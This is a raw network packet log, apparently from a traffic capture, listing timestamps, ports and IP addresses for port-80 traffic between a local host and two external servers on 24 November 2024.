Nov 24, 2024 14:24:31.687469006 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.687478065 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.704176903 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.704224110 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.704401016 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.704441071 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.706099987 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.706140041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.706202030 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.706240892 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.710177898 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.710221052 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.710292101 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.710330009 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.714322090 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.714363098 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.714394093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.714430094 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.718278885 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.718327045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.718357086 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.718394995 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.722059011 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.722162008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.722238064 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.722239017 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.725838900 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.725894928 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.725930929 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.725972891 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.729552984 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.729624033 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.729748011 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.729789972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.733206987 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.733263969 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.733300924 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.733346939 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.734816074 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.736895084 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.736943007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.736996889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.737036943 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.740453005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.740498066 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.740633965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.740675926 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.744055033 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.744096994 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.744173050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.744211912 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.747682095 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.747725010 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.747775078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.747822046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.751336098 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.751384974 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.751420975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.751472950 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.755070925 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.755137920 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.755158901 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.755203962 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.758604050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.758657932 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.759046078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.759100914 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.762176991 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.762295008 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.762299061 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.762356997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.765804052 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.765866041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.765983105 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.766030073 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.769469976 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.769520998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.769545078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.769557953 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.769603968 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.769628048 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.769710064 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.770473957 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.773143053 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.773189068 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.773197889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.773241997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.776664019 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.776707888 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.776782990 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.776935101 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.780294895 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.780349016 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.780425072 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.780472994 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.784012079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.784060001 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.784096003 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.784137964 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.787508011 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.787554026 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.787609100 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.787652016 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.791121960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.791167974 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.791228056 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.791270971 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.794759035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.794802904 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.794852972 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.794895887 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.813046932 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.859257936 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.859271049 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.859323978 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.879479885 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.879533052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.879575014 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.905447960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.905503988 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.905581951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.905623913 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.906893969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.906939030 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.907063007 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.907150030 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.909583092 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.909626007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.909665108 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.909713984 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.912256956 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.912305117 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.912384033 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.912425041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.914943933 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.915003061 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.915191889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.915235043 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.917625904 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.917678118 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.917889118 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.917934895 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.920228958 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.920278072 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.920295954 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.920345068 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.922804117 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.922816038 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.922847986 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.922867060 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.925432920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.925467968 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.925482988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.925524950 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.925550938 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.925564051 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.925606966 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.926420927 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.927901983 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.927949905 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.927973986 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.928016901 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.930432081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.930479050 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.930563927 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.930612087 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.932993889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.933098078 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.933106899 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.933160067 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.935513973 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.935565948 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.935628891 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.935674906 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.938072920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.938117981 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.938190937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.938229084 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.940620899 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.940668106 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.940702915 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.940749884 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.943181038 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.943228006 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.943291903 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.943335056 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.945739031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.945784092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.945858955 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.945904016 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.948277950 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.948323965 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.948390961 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.948441029 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.950805902 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.950851917 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.950967073 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.951014996 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.953347921 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.953387022 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.953447104 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.953491926 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.955893040 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.955939054 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.955950975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.955993891 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.958470106 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.958517075 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.958606005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.958646059 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.961534977 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.961580038 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.961606026 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.961648941 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.961816072 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.961860895 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.961899996 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.963742018 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.963788033 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.963804960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.963851929 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.966101885 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.966146946 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.966173887 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.966216087 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.968939066 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.968987942 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.969130993 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.969207048 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.972275019 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.972325087 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.972326994 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.972368956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.974194050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.974292040 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.974359989 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.976254940 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.976310968 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.976346970 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.976392984 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.978811026 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.978856087 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.978960991 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.979007006 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.981627941 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.981677055 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.981694937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.981736898 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.983957052 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.984002113 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.984004974 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.984050989 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.986499071 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.986553907 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.986588001 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.986632109 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.989209890 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.989253998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.989278078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.989327908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.991600037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.991647959 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.991652966 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.991686106 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.994144917 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.994194031 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.994256020 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.994301081 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.996705055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.996754885 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.996792078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.996836901 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.999237061 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.999285936 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.999376059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.999419928 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.001810074 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.001857042 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.001882076 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.001929998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.004317999 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.004364967 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.004447937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.004496098 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.006865978 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.006912947 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.006978035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.007023096 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.009418964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.009464025 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.009537935 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.009582043 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.011941910 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.011986971 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.012052059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.012096882 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.014538050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.014586926 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.016072035 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.035005093 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.035123110 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.035262108 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.035967112 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.078737020 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.106813908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.106897116 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.106923103 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.106977940 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.107904911 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.107954979 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.108069897 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.108117104 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.109885931 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.109993935 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.110621929 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.110671043 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.110734940 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.110781908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.112731934 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.112778902 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.113044977 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.113092899 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.113349915 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.113609076 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.113656044 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.114314079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.114660978 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.114706993 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.114778996 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.114825964 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.116754055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.116801023 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.116851091 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.116902113 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.118716955 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.118767023 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.118858099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.118905067 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.120713949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.120758057 CET	49815	80	192.168.2.4	185.215.113.16
